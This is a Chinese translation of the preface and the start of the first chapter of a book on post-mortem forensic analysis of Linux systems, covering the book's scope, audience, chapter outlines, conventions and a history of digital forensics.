Linux-取证实践指南-全-

Linux 取证实践指南(全)

原文:zh.annas-archive.org/md5/08900ee900f0f5ef5a439473976f02d2

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

Image

欢迎阅读《实用 Linux 取证:数字调查员指南》。本书涵盖了多种方法和技术,用于查找和分析现代 Linux 系统中的数字证据。在数字取证调查员中,Linux 取证可能有两种含义。其一,指使用 Linux 作为数字取证平台,执行对任何目标系统(可能是 Windows、Mac、Linux 或其他操作系统)的获取或分析。然而,在本书中,Linux 取证是指将 Linux 系统作为调查目标进行分析或检查(与使用的平台或工具无关)。

我将重点介绍在各种 Linux 发行版(distro)中发现的常见证据,并在法医调查的背景下分析它们。本书中描述的法医分析方法与使用的工具无关,适用于 FTK、X-Ways、EnCase 或任何其他法医分析工具套件的用户。我在示例和插图中使用的工具通常是基于 Linux 的,但这些概念完全与工具无关。

我为什么写这本书

从某种程度上讲,这本书是我第一本书《实用法医成像》(No Starch Press,2016 年)的逻辑延续。在对系统进行法医获取并安全地保存驱动器镜像后,分析是典型数字取证调查中进行的下一步。此书深入探讨了分析 Linux 系统法医镜像的技术细节。

市面上有许多关于 Windows 甚至 Mac 取证分析的书籍,但很少有书籍专注于将 Linux 系统作为调查目标的分析。更少有书籍专门讨论现代 Linux 安装的事后(死盘)分析。我常常听到社区中的数字取证调查员越来越多地说:“我们开始在实验室接收到更多的 Linux 镜像,但我们不太清楚应该找什么。”这样的评论来自于私营部门(企业)和公共部门(执法机关)的法医实验室。本书旨在提供一个资源,解决这一日益增长的兴趣领域。它将帮助法医调查员查找和提取 Linux 系统中的数字证据,重建过去的活动,得出逻辑结论,并撰写全面的法医证据分析报告。

写这本书的另一个原因是出于个人兴趣和动机,更好地理解现代 Linux 系统的内部结构。在过去的十年里,Linux 发行版的重大进展改变了 Linux 取证分析的方式。我在瑞士伯尔尼应用科技大学教授数字取证和 Linux 课程,写这本书帮助我保持对这些话题的最新了解。

最后,我写这本书是因为做技术研究和写作对我来说既有趣又充满乐趣。写作对我作为作者来说是一个学习过程,我发现自己不断填补那些自己没有意识到的知识空白。

本书的独特性

本书作为数字取证调查人员使用任何取证分析平台或工具的指南而编写。并不要求使用 Linux 作为平台或使用基于 Linux 的工具。即使是使用 Windows 或 Mac 上的商业数字取证分析工具的人,只要这些工具支持 Linux 工件的分析,本书也能作为有用的资源。

本书与 Linux 发行版无关。没有偏向任何特定的发行版,所有示例中使用了最流行的 Linux 发行版。本书中的研究、测试和示例主要基于四个 Linux 发行版家族及其衍生版本:Debian(包括 Ubuntu)、Fedora(包括 Red Hat)、SUSE 和 Arch Linux。这四个发行版是目前使用的绝大多数 Linux 系统的基础,也是本书的核心内容。只要可能,我会尽量描述与发行版无关且在大多数 Linux 发行版中一致的概念。然而,许多取证工件是特定于发行版的,仍然需要进行解释。这些内容也有涉及,但不会过于详细。

本书同样与架构无关。这里的概念适用于安装在任何 CPU 架构或硬件系统上的 Linux 系统。所提供的示例倾向于聚焦于 64 位 x86 PC(Intel 和 AMD)平台,并额外提到 ARM 架构的 Raspberry Pi 系统。如果某些硬件特性影响了数字取证过程,我可能会提到。

本书的另一个方面是讨论具有各种用途和目的的 Linux 系统。我涉及了对 Linux 服务器系统和 Linux 桌面系统的调查方法。假设了广泛的可扩展性,分析技术适用于从小型嵌入式 Linux 系统和 Raspberry Pi 到大型服务器集群和基于 Linux 的主机系统。

本书的假设是我们正在对磁盘镜像进行事后取证分析,也称为 死盘 取证。许多书籍讨论了使用命令对运行中的 Linux 系统进行事件响应和分析,而本书不涉及运行中的系统,假设已经以取证合规的方式获取了磁盘镜像,或者磁盘已安全地连接到带有取证写保护器的检查机上。尽管如此,本书中的所有内容在事件响应的活跃系统上下文中也同样适用。

本书避免深入探讨边缘或罕见的主题。在某些情况下,可能会提到一些冷门话题并提供参考,但重点仍然是覆盖最流行的 Linux 发行版、硬件架构和系统应用。

本书尽力保持技术上的非政治性和非宗教性。在社区中,常常会有关于哪种技术更好或更差,哪些许可证是好是坏,哪些科技公司是利他还是邪恶等强烈的观点。我特意避免称赞或批评任何特定的技术或公司,并且只在与数字取证相关时才提供个人意见。

这种多因素的结合使得本书在数字取证书籍市场中独具特色,尤其是在涉及取证分析 Linux 系统的主题中。

Linux 取证分析场景

对目标系统进行取证分析的动机多种多样。我们可以将计算机系统的取证分析分为两大类:受害者犯罪者

在受害者的情况下,分析通常涉及网络攻击、入侵和在线社会工程事件。这些系统由受害者拥有,通常自愿提供给取证调查员。例如:

  • 被技术性利用漏洞或配置错误侵入或攻击的服务器

  • 使用被盗凭证未经授权访问服务器

  • 被恶意软件攻击的客户桌面,通常是用户点击恶意链接或下载恶意可执行文件和脚本所导致的

  • 受社会工程学欺骗,被迫执行本不该做的行为的受害者

  • 被胁迫或勒索而执行本不该做的行为的用户

  • 需要作为受害组织更大规模调查一部分进行分析的计算机系统

在所有这些场景中,可以找到数字痕迹,帮助重建过去的事件或提供不当行为的证据。

在犯罪者的情况下,分析通常涉及由执法机关或公司调查与事件响应团队扣押的计算机系统。这些系统可能是由涉嫌恶意或犯罪活动的犯罪者拥有、管理或操作的。一些例子包括:

  • 用于托管钓鱼网站或分发恶意软件的服务器

  • 用于管理僵尸网络的指挥与控制服务器

  • 滥用其访问权限从事恶意活动或违反组织政策的用户

  • 用于进行非法活动的桌面系统,如持有或分发非法物品、犯罪黑客行为,或运营非法地下论坛(卡片盗用、儿童剥削等)

  • 需要作为更大范围刑事调查一部分进行分析的计算机系统(有组织犯罪、毒品、恐怖主义等)

  • 需要作为更大规模民事调查一部分进行分析的计算机系统(例如诉讼或电子发现)

在所有这些场景中,都可以找到数字痕迹,这些痕迹有助于重建过去的事件或提供不当行为的证据。

当 Linux 系统被执法机关合法扣押、被拥有系统的组织扣押,或由受害者自愿提供时,系统可以进行法医成像,然后由数字取证调查员进行分析。Linux 已经成为服务器系统、物联网(IoT)以及其他嵌入式设备的常见平台,且 Linux 在桌面上的使用也在增长。随着 Linux 使用量的增加,受害者和施害者的系统数量也将增加,这些系统需要进行法医分析。

在某些情况下,尤其是当人们被错误指控或是无辜的、受到怀疑时,法医分析活动也可能提供无罪的证据。

目标读者及先决条件

我写这本书时有一个特定的受众群体。它主要面向那些擅长执行 Windows、Mac 和移动取证的数字取证从业人员,并希望在 Linux 领域获得更多知识的读者。取证检查员需要了解基本的 Linux 概念,知道在哪里找到法医证据,并了解如何解读收集到的证据。这并不意味着检查员必须掌握 Linux 的使用(尽管掌握它有帮助);他们只需要知道要寻找什么以及如何从找到的证据中得出结论。

谁应该阅读本书?

本书将直接惠及在私人和公共部门数字取证实验室工作的人员,他们负责对计算机系统(包括 Linux)进行法医检查。此书特别面向日益增长的取证从业者群体,包括事件响应团队成员、大型组织中的计算机取证调查员、来自法律、审计和咨询公司的取证及电子发现技术人员,以及来自执法机构的传统取证从业人员。虽然本书主要面向那些希望提升 Linux 知识的经验丰富的数字取证调查员,但其他群体也将受益。

想要学习数字取证分析和调查技术的经验丰富的 Unix 和 Linux 管理员也会从本书中受益。这些人可能是希望转行进入数字取证领域的系统管理员,或者是希望利用数字取证方法提升故障排除技能的管理员。

安全专业人员也会发现本书有用。与默认 Linux 安装相关的信息安全风险可能需要进行评估,从而导致基于安全的更改。这可能包括减少系统上存储的信息量,以保护机密性。相反,法医准备要求可能会导致增加系统上记录或保存的信息量。

隐私倡导者可能会发现本书有帮助,因为它突出了在默认 Linux 系统上存储的个人和私密信息的数量和位置。人们可以利用本书来减少个人信息的暴露,并提高系统的隐私性(这可能会导致功能或便利性的丧失)。

Linux 应用和发行版开发者也可能会发现本书有用。书中展示了默认配置中的潜在隐私和安全问题,这有助于开发者创建更安全的默认设置,保护用户。

每本数字取证书籍的一个不幸副作用是,罪犯也对取证界的工作感兴趣。恶意行为者寻找新的方法来利用系统并破坏安全,包括取证分析技术。在本书中,我会在相关内容中提到反取证的话题。取证检查员应当意识到可能被用来操控或销毁证据的反取证技术。

前提知识

获取本书最大收益所需的前提知识可以用两种方式描述:

  • 具有数字取证知识但对 Linux 了解有限的人

  • 具有 Linux 知识但对数字取证了解有限的人

具有 Windows 或 Mac 系统数字取证分析经验的人将学会如何将这些技能转移到 Linux 系统上。熟悉数字取证分析将使学习 Linux 的新领域变得更容易。

具有 Linux 系统经验的人,特别是在故障排除和调试方面的经验,将学会如何将这些技能应用于数字取证分析。熟悉 Linux 将使学习新的数字取证概念变得更容易。

无论您的背景是取证还是 Linux,都期望您理解基本的操作系统概念。这包括对启动、系统初始化、日志记录、进程、存储、软件安装等的基本理解。对任何操作系统的某些专业知识应足以理解适用于所有操作系统(包括 Linux)的通用原理。

所需的取证工具和平台

执行这里描述的分析技术时,可以使用任何功能齐全的数字取证工具包。行业中常见的商业工具包括 EnCase、FTK、X-Ways 等。这些工具都可以用于执行 Linux 分析工作。

拥有一个基于 Linux 的分析系统并非必需,但在某些情况下可能更方便。书中展示的大多数例子都使用 Linux 系统上的 Linux 工具进行演示。

本书不涉及如何查找、下载、编译或安装各种工具或 Linux 发行版。如果你有一台相对较新的机器(在本书出版日期前一年)并且安装了最近的 Linux 发行版,示例应该能够毫无问题地运行。所使用的某些工具不是标准(默认)Linux 发行版的一部分,但可以通过互联网搜索引擎或在 GitHub、GitLab 等在线平台上轻松找到。在大多数情况下,我会提供在线资源的参考链接。

范围与组织

本节描述了本书的范围、如何组织本书以及各个部分的结构。

内容范围

这是一本关于死后数字取证分析的书,意味着包含数字证据的驱动器镜像已经以取证上可靠的方式(例如通过使用写保护器)被安全保存,并且准备好进行检查。检查过程包括识别驱动器内容的各个方面、搜索特定内容、提取证据痕迹、解读信息、重建过去的事件,并全面理解驱动器的内容。这项分析活动将帮助调查人员得出结论并撰写关于特定案件或事件的取证报告。

这本书的广泛范围是 Linux 的“现代”方面。在我的现代 Linux课程中,学生们经常问“现代”在这个语境中是什么意思。我不希望我的课程基于转换过来的 Unix 材料,而是想专注于 Linux 独有的方面。Linux 有 Unix 的基础,但在许多方面也与 Unix 有了显著的区别。最根本的(也是最具争议的)例子就是 systemd,它在今天大多数 Linux 发行版中都有使用,并且在本书中有详细介绍。根据我对现代 Linux 的定义,其他涵盖的主题包括:UEFI 启动、像 cgroups 和 namespaces 这样的新内核特性、D-Bus 通信、Wayland 以及(freedesktop.org)的标准、像 btrfs 这样的新文件系统、像 WireGuard 这样的新加密协议、滚动发布模型、通用软件打包,以及与最新 Linux 发行版相关的其他新话题。

有些话题过于庞大、过于多样或过于冷门,无法纳入本书。在这种情况下,我会简要描述该话题,并提供一些进一步获取信息的指引。例如,Linux 备份分析。备份解决方案种类繁多,写关于所有备份的内容可能会占据本书相当大一部分。另一个例子是 Android 取证。尽管 Android 基于 Linux,但它是一个庞大的话题,完全可以单独成书(事实上,现在市面上有许多 Android 取证的书籍)。还有很多专为嵌入式系统和特定硬件(机器人、汽车、医疗等)设计的高度定制化 Linux 发行版。这些定制和专业系统可能会在本书中提到,但详细的覆盖内容不在本书的范围内。

编写一本关于自由和开源软件(FOSS)的书籍具有挑战性,因为一切都在迅速变化。当本书上市时,很可能会有一些新主题没有被包括在内,或者我所写的某些主题已经不再相关。最大的变化往往与 Linux 发行版相关,因此我尽可能集中讲解与发行版无关的主题。总体来说,我涵盖了那些预计在未来几年内不会发生重大变化的稳定话题。

本书的内容并不详尽,肯定缺少一些数字取证的资料。自由和开源软件(FOSS)社区强调选择,而选择意味着有太多不同的可能性无法在一本书中囊括。出于实际需要,本书重点介绍了最受欢迎的技术和 Linux 发行版。较少流行、不常见或边缘的技术则未包含在范围之内。不过,本书展示的数字取证分析原理通常可以应用于那些未被涵盖的技术。

本书的目标不是教人们如何使用 Linux,而是教人们在数字取证中应寻找哪些信息。你不需要成为 Linux 专家,本书依然对你有用。

书籍组织和结构

我花了很多时间思考如何组织本书。它需要对不熟悉该话题的人既全面又易于理解。从目录中也需要很明显地看出,这本书是一本取证书,而非一本 Linux 书。因此,结构不应像一本普通的 Linux 书。

组织本书的最明显方式是按 Linux 技术(启动过程、存储、网络等)将章节和部分分组。每个部分深入探讨不同的 Linux 子系统,最终形成的结构类似于大多数 Linux 技术书籍。这种结构对那些已经掌握一些 Linux 知识,并且确切知道自己在数字取证中要寻找哪些信息的人非常有用。

另一个组织本书的方法是按典型取证检查的时间顺序进行组织。这里详细介绍了典型取证分析的每个步骤,但重点是 Linux。这种结构与大多数计算机取证书籍的结构相似,这些书籍通常集中在 Microsoft Windows 的分析上(可能是当今计算机取证工作的主要方向)。这是我部分想要的内容,但它仍然非常集中于用户桌面。我希望本书能对分析各种 Linux 发行版、桌面系统、服务器系统和嵌入式 Linux 系统有所帮助。

组织本书的最全面和系统的方法是侧重于文件系统的布局,并描述文件系统树的每个目录及其相关的取证文物。这种自下而上的方法将详尽地覆盖操作系统存储的每个部分,非常适合一本用于事后分析的书籍。然而,这种结构更像是一本词典,而不是一本旨在教授和解释概念的书籍。

我选择了三种方法的结合。章节和部分按 Linux 技术组织,按高层次进行分组。子部分则按数字取证分析任务和目标组织。我尽量涵盖 Linux 文件系统在取证子部分中的所有相关领域。附录还列出了书中涵盖的文件,并简要评论了它们的取证相关性。

这本书分为若干章节,涵盖了 Linux 系统的广泛主题。这些章节又细分为若干部分,每部分讨论每个主题领域的主要组成部分。各部分进一步细分为子部分,详细介绍了具体的取证分析技术。大多数子部分遵循一种常见的格式,以一系列段落呈现。第一段提供对正在研究的技术主题的介绍或概述,有时会提供历史背景。第二段解释可以提取哪些信息,以及这些信息在取证调查中的作用和重要性。后续的段落展示了示例,并解释如何分析这些信息并将其提取为数字证据。最后一段可能会提到与证据完整性和可靠性相关的任何警告、陷阱、附加提示和注意事项。

本书从数字取证的一般概述开始,我介绍了这一主题的历史和演变,并提到了塑造该领域的重要事件。我特别强调了为了能够在法庭上使用的数字证据所需要遵循的标准。本书力求做到国际化,并独立于地区管辖区,因为越来越多的刑事调查跨越国界,涉及多个司法管辖区。本书还介绍了现代 Linux 系统,包括其历史、文化以及构成“现代”Linux 系统的所有组件。在提供了这一双重基础后,本书的其余部分专注于 Linux 系统的取证分析。

在全书中,我尝试展示如何将洛卡尔交换原理应用于 Linux 系统分析。埃德蒙·洛卡尔是一位法国刑事调查员,他提出在犯罪发生时,犯罪分子和犯罪现场都会交换证据。这个原理同样适用于数字犯罪现场、电子设备和在线连接。

数字取证书籍通常会有一个单独的章节专门讨论加密话题。然而,今天的加密技术已经无处不在,成为每个计算子系统的一部分。本书将加密话题融入到每个相关章节,而不是单独作为一个章节进行讨论。不过,文件系统章节确实有一个专门的部分讨论存储加密。

本书并非按时间顺序列出步骤,而是更像是一本按照技术领域分组的任务指南。本书也被设计为一本参考书,因此你不需要从头到尾阅读(除了前两章概览部分)。某些章节假设读者已经具备前面章节的一些知识和理解,但会标注有帮助的适当参考。

我在每一章的各个部分开始时,都会简要介绍该主题背后的技术,接着从数字取证的角度提出问题和评论。我描述调查员可能会发现的潜在证据,并提供该证据的位置指引。我展示了如何提取和分析证据,并提供了解释这些证据的技巧。我还会评论挑战、风险、注意事项及其他潜在的陷阱,并根据我作为取证调查员的经验提供警示和建议。

章节概览

本节简要总结了本书的每一章内容。

第一章:数字取证概述 本章向读者介绍数字取证。描述了数字取证的历史,并展望了未来几十年的发展。讨论了当前的趋势和挑战,重点是数字取证分析。涵盖了计算机取证分析的基本原则和行业最佳实践。

第二章:Linux 概述 本章提供了现代 Linux 系统的技术概述,描述了 Unix 的历史及其影响,Linux 发行版的发展,以及 Linux 桌面的演变。还介绍了主要的 Linux 发行版家族以及构成现代 Linux 系统的组件。本章最后讲解了取证分析部分,与第一章结合,构成了本书的基础。

第三章:来自存储设备和文件系统的证据 本章介绍了驱动器的初步分析,从分区表、卷管理到 RAID 系统。讨论了三种最常见的 Linux 文件系统(ext4、xfs 和 btrfs)的取证信息,并从取证角度描述了 Linux 交换系统,包括休眠分区的分析。还涵盖了各种文件系统加密形式。

第四章:Linux 文件的目录布局和取证分析 本章描述了典型 Linux 系统中已安装文件和目录的层次结构。还讨论了使用取证哈希集来过滤或识别文件。解释了在 Linux 下发现的不同文件类型的分析,包括 POSIX 文件类型、应用程序文件类型和 Linux 可执行文件。还涉及了文件元数据和内容的分析。本章最后讨论了崩溃数据和内存核心转储的内容。

第五章:调查来自 Linux 日志的证据 本章专门讲解了如何理解日志文件以及寻找日志证据的地方。还讨论了 Linux 系统上不同的日志记录系统,包括传统的 syslog、systemd 日志以及由守护进程或应用程序生成的日志。还解释了内核环形缓冲区和 Linux 审计系统。

第六章:重构系统引导和初始化过程 一个典型系统的生命周期从启动到正常运行再到关机。这里我们分析引导加载程序,然后是内核初始化和关联的初始 RAM 磁盘。详细描述了 systemd(init)启动过程及系统的其他操作方面。同时,还解释了 systemd 和 D-Bus 按需服务激活的分析。本章最后涉及物理环境和电源话题,包括睡眠、休眠和关机,以及寻找人类物理接近系统的证据。

第七章:已安装软件包的检查 本章是唯一一个针对不同 Linux 发行版有单独章节的章节。它描述了安装过程、已安装软件包的分析、软件包格式以及软件包捆绑。还涉及了 Linux 发行版、版本、发布和补丁级别的识别。

第八章:识别网络配置遗留信息 Linux 的网络子系统包括接口硬件、DNS 解析和网络管理器。关于无线网络的部分涵盖了可能包含历史信息的 Wi-Fi、WWAN 和蓝牙遗留信息。本章还涵盖了网络安全,包括日益流行的 WireGuard VPN 系统、新的 nftables 防火墙(它正在取代 iptables)以及识别代理设置。

第九章:时间与位置的法医分析 本章描述了 Linux 系统在国际和区域方面的分析。内容包括 Linux 时间格式、时区以及进行法医时间线重建所需的其他时间戳信息。还解释了语言和键盘布局分析。还描述了 Linux 地理位置服务,用于重建系统的物理位置——特别是像笔记本电脑这样的移动系统。

第十章:重建用户桌面和登录活动 本章的重点是用户登录、Shell 和 Linux 桌面。它解释了 Linux 窗口系统,如 X11 和 Wayland,以及桌面环境如 GNOME、KDE 等。它还涵盖了人类用户活动和常见的桌面遗留信息(这些在检查 Windows 或 Mac 系统时是众所周知的)。例如缩略图、回收站、书签、最近文档、密码钱包和桌面搜索等遗留信息都有解释。本章最后讨论了用户网络活动,如远程登录、远程桌面、网络共享驱动器和云账户。

第十一章:附加外设设备的法医痕迹 本章涵盖了 USB、Thunderbolt 和 PCI 附加外设设备的痕迹。它解释了如何解读日志中发现的证据,以确定何时以及什么设备被连接。详细描述了 Linux 打印系统和 SANE 扫描的法医分析,重点是恢复历史遗留信息。本章还描述了视频会议系统所需的 Video4Linux 系统。最后,本章对附加存储设备进行了检查。

后记 在这里,我为 Linux 数字取证调查员提供一些最终的思考。我根据我作为数字取证调查员的个人经验,给大家留下了一些提示、建议和鼓励。

附录:数字取证调查人员的文件/目录列表 该资源提供了本书涵盖的文件和目录的表格。旨在作为一个参考,允许调查人员快速查找特定的文件或目录,并找到与数字取证相关性的简短描述。这是一个活动的附录,我的网站上提供了更新版本:digitalforensics.ch/linux/。非常感谢 No Starch Press 允许我维护这个附录的独立版本。

约定与格式

互联网提供大量的资源,如博客、视频和网站。这些资源的质量、准确性和完整性可能很好,但也可能很差,甚至完全错误。在可能的情况下,我将引导读者查阅本书以外的权威信息源。进行数字取证调查时,准确的信息至关重要。权威来源通常包括软件的原始开发者(文档、源代码、支持论坛)、标准机构(如 RFC 和freedesktop.org)、同行评审的科学研究(如DFRWS和《数字调查》期刊)、以及专业技术书籍(如 No Starch Press 的许多书籍)。

我经常会引用标准的 Linux 文档,或者称为手册页的文档,这些文档随大多数 Linux 软件包提供。这些也被称为man 页,并与节号一起显示,如:systemd(1)。查看带有节号的 man 页的 Linux shell 命令如下:man 1 systemd

本书遵循特定的风格和约定。每章都涵盖 Linux 取证分析的不同方面。每个章节内的各个部分通常提供一组命令行任务及其相应的输出和解释。子节可能提供任务的不同变体或特定工具的进一步特性。然而,这些仅为举例说明。重点不在于如何使用 Linux 工具,任何取证分析工具都应能复制这些结果。

代码示例、命令和命令输出显示在等宽字体中,类似于计算机终端屏幕上看到的内容。省略号符号(...)用于剪切命令输出中与示例传达的消息无关的部分,有助于简化示例并提高清晰度。文件和目录名称显示为斜体字体

在书中,文件内容、代码和命令输出示例中,我会使用pc1来指代正在分析的系统的主机名。如果显示了 Linux 用户名,我称其为sam(代表 Samantha 或 Samuel)。这些名字没有特别的含义,除了它们都很简短且不容易与其他示例输出混淆(没有重复的词)。

在计算机书籍行业中,通常会将代码块和命令输出中的时间戳更改为书籍发布后未来的某个时间点,从而使内容看起来更新。与我的前一本书一样,我认为讨论法医证据完整性时,操作书中提供的证据(通过将时间戳提前)是不合适的。此外,改变示例中的可见日期可能会导致编码数据中的日期不一致,或导致法医时间线出现错误。某个工具的输出在稍后的时间执行时可能也会有所不同。我希望避免这些不一致的风险。你在本书中看到的所有命令输出都反映了实际的测试和研究输出,包括原始日期和时间戳。除了用...剪辑掉不太相关的部分,并将主机和用户名更名为pc1sam,命令输出没有任何改变。

我将调查员或检查员的工作站称为分析主机检查主机。我将正在分析的磁盘或镜像称为目标驱动器嫌疑驱动器证据驱动器。这些术语可以互换使用。

书中还使用了一些其他术语,可以互换使用。磁盘驱动器镜像介质存储在泛指时常常可以互换使用。法医调查员检查员分析员在书中使用,指的是使用检查主机进行各种法医任务的人(即你)。成像获取是可以互换使用的,但故意排除了复制一词,以避免与常规的文件复制(这不是法医过程的一部分)混淆。

本书的末尾或章节末尾没有提供参考书目。所有引用都作为脚注包含在引用它们的页面底部,或直接在文本中提及。

格式化与展示

文件内容、代码、命令和命令输出以等宽字体显示,与书本其余文本区分开来。如果显示了一个 shell 命令示例,它会以粗体显示。在某些情况下,这可能是你可以在自己的分析机器上输入的命令;在其他情况下,这只是为演示目的而使用我的测试系统(并不打算让你输入)。以下是输入命令的一些示例:

$ tool.sh > ~/file.txt
$ tool.sh < ~/file.txt
$ tool.sh | othertool.sh

下面是文件内容的示例:

system_cache_dir=/var/cache/example/
user_cache_dir=~/.cache/example/
...
activity_log=/var/log/example.log
error_log=/var/log/example.err
...
system_config=/etc/example.conf
user_config=~/.config/example/example.conf
...

对于不太熟悉 Linux 的读者来说,在目录路径名中显示的波浪号(/)始终表示用户的主目录。因此,*/file.txt* 等同于 /home/sam/file.txt(其中 sam 是系统上的普通用户帐户)。显示目录名时,末尾会有一个斜杠(/)。

数据流图

法证分析涉及定位证据的痕迹并重建过去的活动。为了实现这一目标,我们必须了解有趣数据(潜在证据)流动和存储的位置。本书中使用的图表展示了程序、守护进程、主机或其他数据处理系统(通过网络)之间的数据流动。从法证证据角度看,有趣的文件和目录也显示在图表中。

图 1 展示了一个虚构的系统,用来解释本书中使用的图表。方框表示有趣数据(文件、程序和其他机器)的源头或目的地。线条表示相关数据流动(读取/接收或写入/发送)。

图片

图 1:示例数据流图

在本示例系统中,程序(example.py)位于图表的核心位置。一个远程主机和一个守护进程在交换数据(守护进程是在后台运行的程序)。还有配置文件、日志文件、临时文件和缓存数据。

在某些图表中,我可能会包含箭头来指示流动的方向,而不仅仅是关联。在某些图表中,我可能会有一个框表示简化视图,由多个程序组成(当其他细节不重要时,进行抽象化处理)。

本书中的图表并不打算是完整的。它们仅展示了在特定章节背景下从数字取证角度有趣的组件。使用这样的图表有助于可视化 Linux 系统上潜在法证证据的位置。

编写本书非常有趣,希望你阅读时也能感受到。对于法证调查人员和安全事件响应人员,希望你们能学到如何分析 Linux 系统的知识。对于 Linux 工程师和爱好者,希望这本书能帮助你们利用数字取证调查来进行故障排除和调试。

第一章:数字取证概览

Image

本章概述了阅读本书其他章节时假设的数字取证背景知识。对于一些读者来说,这将是一个介绍;而对于其他读者,则是一个回顾。这里描述了数字取证的历史以及未来十年的一些预期。当前的趋势和挑战也被讨论,重点是操作系统的数字取证分析。还涵盖了计算机取证分析的基本原则和行业最佳实践。

数字取证历史

了解数字取证领域的历史背景,直至今天,将有助于解释该领域如何演变,并为一些在取证行业中面临的问题和挑战提供额外的背景信息。

千年虫前

与其他科学领域相比,数字取证的历史相对较短。最早的计算机相关取证工作始于 1980 年代,那时的从业者几乎全是来自执法或军事组织。1980 年代,家用计算机和拨号电子公告板服务的增长引发了执法机构对计算机取证的早期兴趣。1984 年,FBI 开发了一个开创性的计算机证据分析程序。此外,滥用行为和基于互联网的攻击的增加促成了 1988 年首个计算机紧急响应小组(CERT)的成立。CERT 由美国国防高级研究计划局(DARPA)成立,位于匹兹堡的卡内基梅隆大学。

1990 年代,互联网接入经历了重大增长,个人计算机进入家庭并变得普及。在这段时间里,计算机取证成为执法机构的主要话题。1993 年,FBI 举办了首届国际执法机关计算机证据会议,并且到 1995 年,国际计算机证据组织(IOCE)成立,并开始提出标准建议。“计算机犯罪”的概念不仅在美国成为现实,而且在国际间也得到了广泛认可。1999 年,英国首席警察官协会为英国执法机构处理计算机证据制定了良好的实践指南。在 1990 年代末期,第一款开源取证软件——《验尸官工具包》由 Dan Farmer 和 Wietse Venema 创建,这款软件发展成为今天的 Sleuthkit。

2000–2010

千年之交之后,多个因素增加了对数字法医学的需求。2001 年 9 月 11 日的悲剧对世界如何看待安全和事件响应产生了巨大影响。安然公司和安达信会计丑闻导致了美国萨班斯-奥克斯利法案的制定,旨在通过提高企业披露的准确性和可靠性来保护投资者。该法案要求组织必须具备正式的事件响应和调查流程,通常包括某种形式的数字法医学或证据收集能力。知识产权问题的增长也对民间组织产生了影响。互联网欺诈、钓鱼攻击以及其他与知识产权和品牌相关的事件进一步推动了调查和证据收集的需求。点对点文件共享(从 Napster 开始),以及数字版权法案《数字千年版权法》的出台,导致了对调查数字版权侵权案件的需求增加。

自 2000 年以来,数字法医学界在将自己转变为科学学科方面取得了巨大进展。2001 年 DFRWS 会议为法医界提供了重要的定义和挑战,并将数字法医学定义如下:

使用科学派生和验证的方法来保护、收集、验证、识别、分析、解释、记录和展示来自数字源的数字证据,目的是促进或推进重建被认为是犯罪的事件,或帮助预测被证明对计划中的操作具有破坏性的未经授权的行为。^(1)

在法医界确定了其范围和目标,致力于成为公认的科学研究领域的同时,实践者层面的标准、指南和最佳实践程序也在逐步规范化。数字证据科学工作组(SWGDE)规定了定义和标准,包括执法机关的标准操作程序要求。2000 年法国 IOCE 会议致力于通过指南和检查表为执法实践者规范化程序。第 13 届国际刑警法医学科学研讨会(同样在法国)概述了参与数字法医学的各方要求,并为政府和执法部门制定了一套全面的标准和原则。2001 年《第 13 届国际刑警法医学科学研讨会纪要》提到,美国司法部发布了详细的执法人员应急指南(《电子犯罪现场调查:应急人员指南》),国家标准与技术研究院(NIST)计算机法医学工具测试项目(CFTT)编写了第一版磁盘成像工具规范

2010–2020

自 2010 年以来,多个事件促使数字取证的焦点转向调查和收集来自网络攻击和数据泄露的证据。

Wikileaks (www.wikileaks.org/) 开始发布泄露的材料,包括来自美国政府的视频和外交电报。匿名者因分布式拒绝服务(DDoS)攻击和其他黑客活动而声名狼藉。LulzSec 入侵并泄露了 HBGary Federal 及其他公司的数据。

高级持续性威胁(APT)恶意软件的调查成为业界的主要话题。政府使用恶意软件对其他政府和私人行业进行间谍活动的程度被公之于众。Stuxnet 蠕虫,特别是针对伊朗核计划中控制系统的 SCADA 系统的攻击被发现。Mandiant 发布了对 APT1 的调查报告,APT1 是中国军队的网络战争单位。爱德华·斯诺登泄露了一大批文件,揭示了 NSA 的黑客活动范围。意大利黑客团队的泄露事件揭示了一个向政府、执法机构和私营公司出售的专业漏洞利用市场。Vault7 泄露提供了关于 CIA 黑客活动的技术信息。

主要的数据泄露事件成为了私营企业的关注点,其中包括索尼、Target、JP 摩根大通、Equifax、Anthem 等公司的数据盗窃和信用卡盗窃事件。全球银行业面临着银行恶意软件(如 Zeus、Sinowal/Torpig、SpyEye、GOZI、Dyre、Dridex 等)的快速增长,这些恶意软件成功地瞄准了银行客户,进行金融欺诈。最近,涉及赎金的攻击变得流行(如勒索软件、比特币 DDoS 攻击等)。

这一系列的黑客行为、攻击和滥用行为使得数字取证的重点扩展到了网络流量捕获与分析以及感染系统的实时系统内存获取等领域。

在 2010 年代末期,罪犯开始转向互联网社交工程。由于硬件制造商和操作系统供应商越来越注重安全默认设置,加之云计算的兴起使得安全控制交由云服务提供商,因此技术漏洞利用变得更加具有挑战性。然而,利用人类的信任仍然非常有效,尤其是在网络欺诈方面。诸如商业邮件诈骗(BEC)和伪装成 CEO 的欺诈行为变得越来越普遍。我发表了一篇名为《金融科技取证:金融技术中的刑事调查与数字证据》的论文^(2),详细描述了这一现象。

2020 年及以后的发展

值得思考的是数字取证的未来,包括数字取证分析的相关性以及 Linux 系统的影响。

物联网(IoT)设备的增加,加上近期硬件漏洞,将推动硬件取证分析的需求。犯罪现场正变成大量电子设备的集合,所有设备都有少量本地存储以及更大规模的云存储。这些物联网设备中的许多运行着嵌入式 Linux 系统。

在未来的十年里,我们可能会看到对人类的社交工程攻击持续增加。再加上人工智能的普及,“深伪”技术有可能成为下一代社交工程手段。这些音视频伪造将精细到让人们难以察觉它们是假的。

COVID-19 健康危机导致在线会议、会议和人际互动剧增。同时,也促使了更多员工接受远程工作。视频会议和员工远程访问成为社会常态,这推动了音视频取证分析的需求。

对 COVID-19 感染的恐惧也加速了从实物货币(纸币和硬币)向无现金支付方式(如非接触支付)和移动支付的转变,成为犯罪分子探索新型金融欺诈手段的一个有吸引力的目标。

云服务将继续取代企业和家庭中的本地 IT 基础设施。云服务提供商将成为犯罪分子的目标,他们能够在不被云租户知情的情况下访问虚拟基础设施。大量云服务提供商将 Linux 系统作为其首选平台。

新的金融技术(FinTech),例如使用移动设备、新的支付系统(如 GNU Taler)、加密货币(如比特币)、区块链账本等,需要分析其中的欺诈、洗钱和其他金融犯罪。

取证分析趋势和挑战

数字取证领域由于技术和犯罪行为的变化与进步而不断发展。这促使了对新取证分析技术的需求。

证据的大小、位置和复杂性发生变化

